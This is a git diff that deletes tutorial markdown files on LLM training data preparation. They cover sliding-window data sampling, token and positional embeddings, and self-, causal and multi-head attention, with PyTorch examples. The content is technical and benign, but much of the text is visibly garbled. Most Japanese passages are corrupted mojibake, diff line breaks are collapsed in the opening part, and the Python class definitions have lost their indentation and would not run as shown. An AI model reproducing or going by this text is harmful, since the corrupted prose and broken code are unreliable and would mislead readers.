(max_length):** The number of tokens in each input sequence. -3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text. -4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence. - -### **Step-by-Step Example** - -Let's walk through an example to illustrate data sampling. - -**Example Text** - -```arduino -"Lorem ipsum dolor sit amet, consectetur adipiscing elit." -``` - -**Tokenization** - -Assume we use a **basic tokenizer** that splits the text into words and punctuation marks: - -```vbnet -Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] -``` - -**Parameters** - -- **Max Sequence Length (max_length):** 4 tokens -- **Sliding Window Stride:** 1 token - -**Creating Input and Target Sequences** - -1. **Sliding Window Approach:** - - **Input Sequences:** Each input sequence consists of `max_length` tokens. - - **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence. -2. **Generating Sequences:** - -
Window PositionInput SequenceTarget Sequence
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
- -3. **Resulting Input and Target Arrays:** - - - **Input:** - - ```python - [ - ["Lorem", "ipsum", "dolor", "sit"], - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ] - ``` - - - **Target:** - - ```python - [ - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ["amet,", "consectetur", "adipiscing", "elit."], - ] - ``` - -**Visual Representation** - -
Token PositionToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
- -**Sliding Window with Stride 1:** - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"] -- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."] - -**Understanding Stride** - -- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated. -- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances. -- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences. - -**Example with Stride of 2:** - -Using the same tokenized text and `max_length` of 4: - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_ - -## Code Example - -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): - -```python -# Download the text to pre-train the LLM -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: - raw_text = f.read() - -""" -Create a class that will receive some params lie tokenizer and text -and will prepare the input chunks and the target chunks to prepare -the LLM to learn which next token to generate -""" -import torch -from torch.utils.data import Dataset, DataLoader - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -""" -Create a data loader which given the text and some params will -prepare the inputs and targets with the previous class and -then create a torch DataLoader with the info -""" - -import tiktoken - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, - num_workers=0): - - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, - batch_size=batch_size, - shuffle=shuffle, - drop_last=drop_last, - num_workers=num_workers - ) - - return dataloader - - -""" -Finally, create the data loader with the params we want: -- The used text for training -- batch_size: The size of each batch -- max_length: The size of each entry on each batch -- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated. -- shuffle: Re-order randomly -""" -dataloader = create_dataloader_v1( - raw_text, batch_size=8, max_length=4, stride=1, shuffle=False -) - -data_iter = iter(dataloader) -first_batch = next(data_iter) -print(first_batch) - -# Note the batch_size of 8, the max_length of 4 and the stride of 1 -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257], - [10899, 2138, 257, 7026]]) -] - -# With stride=4 this will be the result: -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 1807, 3619, 402, 271], - [10899, 2138, 257, 7026], - [15632, 438, 2016, 257], - [ 922, 5891, 1576, 438], - [ 568, 340, 373, 645], - [ 1049, 5975, 284, 502], - [ 284, 3285, 326, 11]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 3619, 402, 271, 10899], - [ 2138, 257, 7026, 15632], - [ 438, 2016, 257, 922], - [ 5891, 1576, 438, 568], - [ 340, 373, 645, 1049], - [ 5975, 284, 502, 284], - [ 3285, 326, 11, 287]]) -] -``` - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md deleted file mode 100644 index e99a7ced5..000000000 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ /dev/null @@ -1,203 +0,0 @@ -# 3. トヌクン埋め蟌み - -## トヌクン埋め蟌み - -テキストデヌタをトヌクン化した埌、倧芏暡蚀語モデルLLMをトレヌニングするためのデヌタ準備における次の重芁なステップは、**トヌクン埋め蟌み**を䜜成するこずです。トヌクン埋め蟌みは、離散トヌクン単語やサブワヌドなどをモデルが凊理し孊習できる連続的な数倀ベクトルに倉換したす。この説明では、トヌクン埋め蟌み、その初期化、䜿甚法、およびトヌクンシヌケンスのモデル理解を向䞊させる䜍眮埋め蟌みの圹割に぀いお説明したす。 - -> [!TIP] -> この第3段階の目暙は非垞にシンプルです**語圙内の以前の各トヌクンに、モデルをトレヌニングするために必芁な次元のベクトルを割り圓おるこずです。** 語圙内の各単語は、X次元の空間内の点になりたす。\ -> 最初は、空間内の各単語の䜍眮は「ランダムに」初期化され、これらの䜍眮はトレヌニング䞭に改善されるトレヌニング可胜なパラメヌタです。 -> -> さらに、トヌクン埋め蟌みの間に**別の埋め蟌み局が䜜成され**、これはこの堎合**トレヌニング文における単語の絶察䜍眮を衚したす**。このように、文䞭の異なる䜍眮にある単語は異なる衚珟意味を持ちたす。 - -### **トヌクン埋め蟌みずは** - -**トヌクン埋め蟌み**は、連続ベクトル空間におけるトヌクンの数倀衚珟です。語圙内の各トヌクンは、固定次元のナニヌクなベクトルに関連付けられおいたす。これらのベクトルは、トヌクンに関する意味的および構文的情報をキャプチャし、モデルがデヌタ内の関係やパタヌンを理解できるようにしたす。 - -- **語圙サむズ** モデルの語圙内のナニヌクなトヌクンの総数䟋単語、サブワヌド。 -- **埋め蟌み次元** 各トヌクンのベクトル内の数倀の数次元。高次元はより埮劙な情報をキャプチャできたすが、より倚くの蚈算リ゜ヌスを必芁ずしたす。 - -**䟋** - -- **語圙サむズ** 6トヌクン \[1, 2, 3, 4, 5, 6] -- **埋め蟌み次元** 3 (x, y, z) - -### **トヌクン埋め蟌みの初期化** - -トレヌニングの開始時に、トヌクン埋め蟌みは通垞、小さなランダム倀で初期化されたす。これらの初期倀は、トレヌニングデヌタに基づいおトヌクンの意味をよりよく衚珟するように調敎ファむンチュヌニングされたす。 - -**PyTorchの䟋** -```python -import torch - -# Set a random seed for reproducibility -torch.manual_seed(123) - -# Create an embedding layer with 6 tokens and 3 dimensions -embedding_layer = torch.nn.Embedding(6, 3) - -# Display the initial weights (embeddings) -print(embedding_layer.weight) -``` -**出力:** -```lua -luaCopy codeParameter containing: -tensor([[ 0.3374, -0.1778, -0.1690], -[ 0.9178, 1.5810, 1.3010], -[ 1.2753, -0.2010, -0.1606], -[-0.4015, 0.9666, -1.1481], -[-1.1589, 0.3255, -0.6315], -[-2.8400, -0.7849, -1.4096]], requires_grad=True) -``` -**説明:** - -- 各行は語圙のトヌクンに察応しおいたす。 -- 各列は埋め蟌みベクトルの次元を衚しおいたす。 -- 䟋えば、むンデックス `3` のトヌクンは埋め蟌みベクトル `[-0.4015, 0.9666, -1.1481]` を持っおいたす。 - -**トヌクンの埋め蟌みぞのアクセス:** -```python -# Retrieve the embedding for the token at index 3 -token_index = torch.tensor([3]) -print(embedding_layer(token_index)) -``` -**出力:** -```lua -tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) -``` -**解釈:** - -- むンデックス `3` のトヌクンはベクトル `[-0.4015, 0.9666, -1.1481]` で衚されたす。 -- これらの倀は、モデルがトレヌニング䞭に調敎するトレヌニング可胜なパラメヌタであり、トヌクンのコンテキストず意味をよりよく衚珟したす。 - -### **トヌクン埋め蟌みがトレヌニング䞭にどのように機胜するか** - -トレヌニング䞭、入力デヌタの各トヌクンは察応する埋め蟌みベクトルに倉換されたす。これらのベクトルは、泚意メカニズムやニュヌラルネットワヌク局など、モデル内のさたざたな蚈算に䜿甚されたす。 - -**䟋のシナリオ:** - -- **バッチサむズ:** 8同時に凊理されるサンプルの数 -- **最倧シヌケンス長:** 4サンプルごずのトヌクンの数 -- **埋め蟌み次元:** 256 - -**デヌタ構造:** - -- 各バッチは圢状 `(batch_size, max_length, embedding_dim)` の3Dテン゜ルずしお衚されたす。 -- 私たちの䟋では、圢状は `(8, 4, 256)` になりたす。 - -**芖芚化:** -```css -cssCopy codeBatch -┌─────────────┐ -│ Sample 1 │ -│ ┌─────┐ │ -│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ Sample 2 │ -│ ┌─────┐ │ -│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ ... │ -│ Sample 8 │ -│ ┌─────┐ │ -│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -└─────────────┘ -``` -**説明:** - -- シヌケンス内の各トヌクンは、256次元のベクトルで衚されたす。 -- モデルはこれらの埋め蟌みを凊理しお、蚀語パタヌンを孊習し、予枬を生成したす。 - -## **䜍眮埋め蟌み: トヌクン埋め蟌みにコンテキストを远加する** - -トヌクン埋め蟌みは個々のトヌクンの意味を捉えたすが、シヌケンス内のトヌクンの䜍眮を本質的に゚ンコヌドするわけではありたせん。トヌクンの順序を理解するこずは、蚀語理解にずっお重芁です。ここで**䜍眮埋め蟌み**が登堎したす。 - -### **䜍眮埋め蟌みが必芁な理由:** - -- **トヌクンの順序が重芁:** 文の䞭では、意味はしばしば単語の順序に䟝存したす。䟋えば、「猫がマットの䞊に座った」ず「マットが猫の䞊に座った」。 -- **埋め蟌みの制限:** 䜍眮情報がないず、モデルはトヌクンを「単語の袋」ずしお扱い、そのシヌケンスを無芖したす。 - -### **䜍眮埋め蟌みの皮類:** - -1. **絶察䜍眮埋め蟌み:** -- シヌケンス内の各䜍眮にナニヌクな䜍眮ベクトルを割り圓おたす。 -- **䟋:** どのシヌケンスの最初のトヌクンは同じ䜍眮埋め蟌みを持ち、2番目のトヌクンは別の䜍眮埋め蟌みを持ちたす。 -- **䜿甚䟋:** OpenAIのGPTモデル。 -2. **盞察䜍眮埋め蟌み:** -- トヌクンの絶察䜍眮ではなく、トヌクン間の盞察的な距離を゚ンコヌドしたす。 -- **䟋:** シヌケンス内の絶察䜍眮に関係なく、2぀のトヌクンがどれだけ離れおいるかを瀺したす。 -- **䜿甚䟋:** Transformer-XLやBERTのいく぀かのバリアントのようなモデル。 - -### **䜍眮埋め蟌みの統合方法:** - -- **同じ次元:** 䜍眮埋め蟌みはトヌクン埋め蟌みず同じ次元を持ちたす。 -- **加算:** それらはトヌクン埋め蟌みに加算され、トヌクンのアむデンティティず䜍眮情報を組み合わせ、党䜓の次元を増やすこずなく統合されたす。 - -**䜍眮埋め蟌みを远加する䟋:** - -トヌクン埋め蟌みベクトルが `[0.5, -0.2, 0.1]` で、その䜍眮埋め蟌みベクトルが `[0.1, 0.3, -0.1]` の堎合、モデルで䜿甚される結合埋め蟌みは次のようになりたす: -```css -Combined Embedding = Token Embedding + Positional Embedding -= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] -= [0.6, 0.1, 0.0] -``` -**䜍眮埋め蟌みの利点:** - -- **文脈の認識:** モデルはトヌクンの䜍眮に基づいお区別できたす。 -- **シヌケンスの理解:** モデルが文法、構文、および文脈䟝存の意味を理解できるようにしたす。 - -## コヌド䟋 - -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)からのコヌド䟋に続きたす: -```python -# Use previous code... - -# Create dimensional emdeddings -""" -BPE uses a vocabulary of 50257 words -Let's supose we want to use 256 dimensions (instead of the millions used by LLMs) -""" - -vocab_size = 50257 -output_dim = 256 -token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim) - -## Generate the dataloader like before -max_length = 4 -dataloader = create_dataloader_v1( -raw_text, batch_size=8, max_length=max_length, -stride=max_length, shuffle=False -) -data_iter = iter(dataloader) -inputs, targets = next(data_iter) - -# Apply embeddings -token_embeddings = token_embedding_layer(inputs) -print(token_embeddings.shape) -torch.Size([8, 4, 256]) # 8 x 4 x 256 - -# Generate absolute embeddings -context_length = max_length -pos_embedding_layer = torch.nn.Embedding(context_length, output_dim) - -pos_embeddings = pos_embedding_layer(torch.arange(max_length)) - -input_embeddings = token_embeddings + pos_embeddings -print(input_embeddings.shape) # torch.Size([8, 4, 256]) -``` -## 参考文献 - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md deleted file mode 100644 index 6f7e86f72..000000000 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ /dev/null @@ -1,415 +0,0 @@ -# 4. Attention Mechanisms - -## Attention Mechanisms and Self-Attention in Neural Networks - -Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. They assign different weights to different inputs, helping the model decide which inputs are most relevant to the task at hand. This is crucial in tasks like machine translation, where understanding the context of the entire sentence is necessary for accurate translation. - -> [!TIP] -> この第4段階の目暙は非垞にシンプルです: **いく぀かの泚意メカニズムを適甚するこず**。これらは、**語圙内の単語ず珟圚の文の隣接語ずの関係を捉えるための倚くの** **繰り返し局** になりたす。\ -> これには倚くの局が䜿甚されるため、倚くの孊習可胜なパラメヌタがこの情報を捉えるこずになりたす。 - -### Understanding Attention Mechanisms - -In traditional sequence-to-sequence models used for language translation, the model encodes an input sequence into a fixed-size context vector. However, this approach struggles with long sentences because the fixed-size context vector may not capture all necessary information. Attention mechanisms address this limitation by allowing the model to consider all input tokens when generating each output token. - -#### Example: Machine Translation - -Consider translating the German sentence "Kannst du mir helfen diesen Satz zu ÃŒbersetzen" into English. A word-by-word translation would not produce a grammatically correct English sentence due to differences in grammatical structures between languages. An attention mechanism enables the model to focus on relevant parts of the input sentence when generating each word of the output sentence, leading to a more accurate and coherent translation. - -### Introduction to Self-Attention - -Self-attention, or intra-attention, is a mechanism where attention is applied within a single sequence to compute a representation of that sequence. It allows each token in the sequence to attend to all other tokens, helping the model capture dependencies between tokens regardless of their distance in the sequence. - -#### Key Concepts - -- **Tokens**: 入力シヌケンスの個々の芁玠䟋: 文䞭の単語。 -- **Embeddings**: トヌクンのベクトル衚珟で、意味情報を捉えたす。 -- **Attention Weights**: 他のトヌクンに察する各トヌクンの重芁性を決定する倀。 - -### Calculating Attention Weights: A Step-by-Step Example - -Let's consider the sentence **"Hello shiny sun!"** and represent each word with a 3-dimensional embedding: - -- **Hello**: `[0.34, 0.22, 0.54]` -- **shiny**: `[0.53, 0.34, 0.98]` -- **sun**: `[0.29, 0.54, 0.93]` - -Our goal is to compute the **context vector** for the word **"shiny"** using self-attention. - -#### Step 1: Compute Attention Scores - -> [!TIP] -> 各次元のク゚リの倀を関連するトヌクンの倀ず掛け算し、結果を加算したす。トヌクンのペアごずに1぀の倀が埗られたす。 - -For each word in the sentence, compute the **attention score** with respect to "shiny" by calculating the dot product of their embeddings. - -**Attention Score between "Hello" and "shiny"** - -
- -**Attention Score between "shiny" and "shiny"** - -
- -**Attention Score between "sun" and "shiny"** - -
- -#### Step 2: Normalize Attention Scores to Obtain Attention Weights - -> [!TIP] -> 数孊甚語に迷わないでください。この関数の目暙はシンプルです。すべおの重みを正芏化しお**合蚈が1になるようにしたす**。\ -> さらに、**softmax**関数が䜿甚されるのは、指数郚分によっお違いを匷調し、有甚な倀を怜出しやすくするためです。 - -Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1. - -
- -Calculating the exponentials: - -
- -Calculating the sum: - -
- -Calculating attention weights: - -
- -#### Step 3: Compute the Context Vector - -> [!TIP] -> 各泚意重みを関連するトヌクンの次元に掛け算し、すべおの次元を合蚈しお1぀のベクトルコンテキストベクトルを埗たす。 - -The **context vector** is computed as the weighted sum of the embeddings of all words, using the attention weights. - -
- -Calculating each component: - -- **Weighted Embedding of "Hello"**: - -
- -- **Weighted Embedding of "shiny"**: - -
- -- **Weighted Embedding of "sun"**: - -
- -Summing the weighted embeddings: - -`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` - -**This context vector represents the enriched embedding for the word "shiny," incorporating information from all words in the sentence.** - -### Summary of the Process - -1. **Compute Attention Scores**: Use the dot product between the embedding of the target word and the embeddings of all words in the sequence. -2. **Normalize Scores to Get Attention Weights**: Apply the softmax function to the attention scores to obtain weights that sum to 1. -3. **Compute Context Vector**: Multiply each word's embedding by its attention weight and sum the results. - -## Self-Attention with Trainable Weights - -In practice, self-attention mechanisms use **trainable weights** to learn the best representations for queries, keys, and values. This involves introducing three weight matrices: - -
- -The query is the data to use like before, while the keys and values matrices are just random-trainable matrices. - -#### Step 1: Compute Queries, Keys, and Values - -Each token will have its own query, key and value matrix by multiplying its dimension values by the defined matrices: - -
- -These matrices transform the original embeddings into a new space suitable for computing attention. - -**Example** - -Assuming: - -- Input dimension `din=3` (embedding size) -- Output dimension `dout=2` (desired dimension for queries, keys, and values) - -Initialize the weight matrices: -```python -import torch.nn as nn - -d_in = 3 -d_out = 2 - -W_query = nn.Parameter(torch.rand(d_in, d_out)) -W_key = nn.Parameter(torch.rand(d_in, d_out)) -W_value = nn.Parameter(torch.rand(d_in, d_out)) -``` -ク゚リ、キヌ、倀を蚈算する: -```python -queries = torch.matmul(inputs, W_query) -keys = torch.matmul(inputs, W_key) -values = torch.matmul(inputs, W_value) -``` -#### ステップ 2: スケヌリングされたドット積アテンションの蚈算 - -**アテンションスコアの蚈算** - -以前の䟋ず䌌おいたすが、今回はトヌクンの次元の倀を䜿甚するのではなく、トヌクンのキヌ行列を䜿甚したすすでに次元を䜿甚しお蚈算されおいたす。したがっお、各ク゚リ `qi`​ ずキヌ `kj​` に察しお: - -
- -**スコアのスケヌリング** - -ドット積が倧きくなりすぎないように、キヌ次元 `dk`​ の平方根でスケヌリングしたす: - -
- -> [!TIP] -> スコアは次元の平方根で割られたす。なぜなら、ドット積が非垞に倧きくなる可胜性があり、これがそれを調敎するのに圹立぀からです。 - -**アテンションりェむトを埗るために゜フトマックスを適甚:** 初期の䟋ず同様に、すべおの倀を正芏化しお合蚈が1になるようにしたす。 - -
- -#### ステップ 3: コンテキストベクトルの蚈算 - -初期の䟋ず同様に、すべおの倀行列をそのアテンションりェむトで掛けお合蚈したす: - -
- -### コヌド䟋 - -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) からの䟋を取り䞊げるず、私たちが話した自己アテンション機胜を実装するこのクラスを確認できたす: -```python -import torch - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -import torch.nn as nn -class SelfAttention_v2(nn.Module): - -def __init__(self, d_in, d_out, qkv_bias=False): -super().__init__() -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - -def forward(self, x): -keys = self.W_key(x) -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.T -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - -context_vec = attn_weights @ values -return context_vec - -d_in=3 -d_out=2 -torch.manual_seed(789) -sa_v2 = SelfAttention_v2(d_in, d_out) -print(sa_v2(inputs)) -``` -> [!NOTE] -> 行列をランダムな倀で初期化する代わりに、`nn.Linear`を䜿甚しおすべおの重みをトレヌニングするパラメヌタずしおマヌクしたす。 - -## 因果泚意: 将来の単語を隠す - -LLMでは、モデルが珟圚の䜍眮の前に出珟するトヌクンのみを考慮しお**次のトヌクンを予枬**するこずを望みたす。**因果泚意**、たたは**マスク付き泚意**は、泚意メカニズムを倉曎しお将来のトヌクンぞのアクセスを防ぐこずによっおこれを実珟したす。 - -### 因果泚意マスクの適甚 - -因果泚意を実装するために、゜フトマックス操䜜**の前に**泚意スコアにマスクを適甚したす。これにより、残りのスコアは䟝然ずしお1に合蚈されたす。このマスクは、将来のトヌクンの泚意スコアを負の無限倧に蚭定し、゜フトマックスの埌にその泚意重みがれロになるこずを保蚌したす。 - -**手順** - -1. **泚意スコアの蚈算**: 前ず同じです。 -2. **マスクの適甚**: 察角線の䞊に負の無限倧で満たされた䞊䞉角行列を䜿甚したす。 - -```python -mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') -masked_scores = attention_scores + mask -``` - -3. **゜フトマックスの適甚**: マスクされたスコアを䜿甚しお泚意重みを蚈算したす。 - -```python -attention_weights = torch.softmax(masked_scores, dim=-1) -``` - -### ドロップアりトによる远加の泚意重みのマスキング - -**過孊習を防ぐ**ために、゜フトマックス操䜜の埌に泚意重みに**ドロップアりト**を適甚できたす。ドロップアりトは、トレヌニング䞭に**䞀郚の泚意重みをランダムにれロにしたす**。 -```python -dropout = nn.Dropout(p=0.5) -attention_weights = dropout(attention_weights) -``` -通垞のドロップアりトは玄10-20%です。 - -### コヌド䟋 - -コヌド䟋は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)からです -```python -import torch -import torch.nn as nn - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -batch = torch.stack((inputs, inputs), dim=0) -print(batch.shape) - -class CausalAttention(nn.Module): - -def __init__(self, d_in, d_out, context_length, -dropout, qkv_bias=False): -super().__init__() -self.d_out = d_out -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # This generates the keys of the tokens -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply -attn_scores.masked_fill_( # New, _ ops are in-place -self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size -attn_weights = torch.softmax( -attn_scores / keys.shape[-1]**0.5, dim=-1 -) -attn_weights = self.dropout(attn_weights) - -context_vec = attn_weights @ values -return context_vec - -torch.manual_seed(123) - -context_length = batch.shape[1] -d_in = 3 -d_out = 2 -ca = CausalAttention(d_in, d_out, context_length, 0.0) - -context_vecs = ca(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) -``` -## シングルヘッドアテンションをマルチヘッドアテンションに拡匵する - -**マルチヘッドアテンション**は、実際には**耇数のむンスタンス**の自己アテンション関数を実行し、それぞれが**独自の重み**を持぀こずで、異なる最終ベクトルが蚈算されるこずを意味したす。 - -### コヌド䟋 - -前のコヌドを再利甚し、ラッパヌを远加しお䜕床も実行するこずも可胜ですが、これはすべおのヘッドを同時に凊理する最適化されたバヌゞョンです高䟡なforルヌプの数を枛らしたす。コヌドに瀺されおいるように、各トヌクンの次元はヘッドの数に応じお異なる次元に分割されたす。このように、トヌクンが8次元で、3぀のヘッドを䜿甚したい堎合、次元は4次元の2぀の配列に分割され、各ヘッドはそのうちの1぀を䜿甚したす -```python -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert (d_out % num_heads == 0), \ -"d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer( -"mask", -torch.triu(torch.ones(context_length, context_length), -diagonal=1) -) - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * 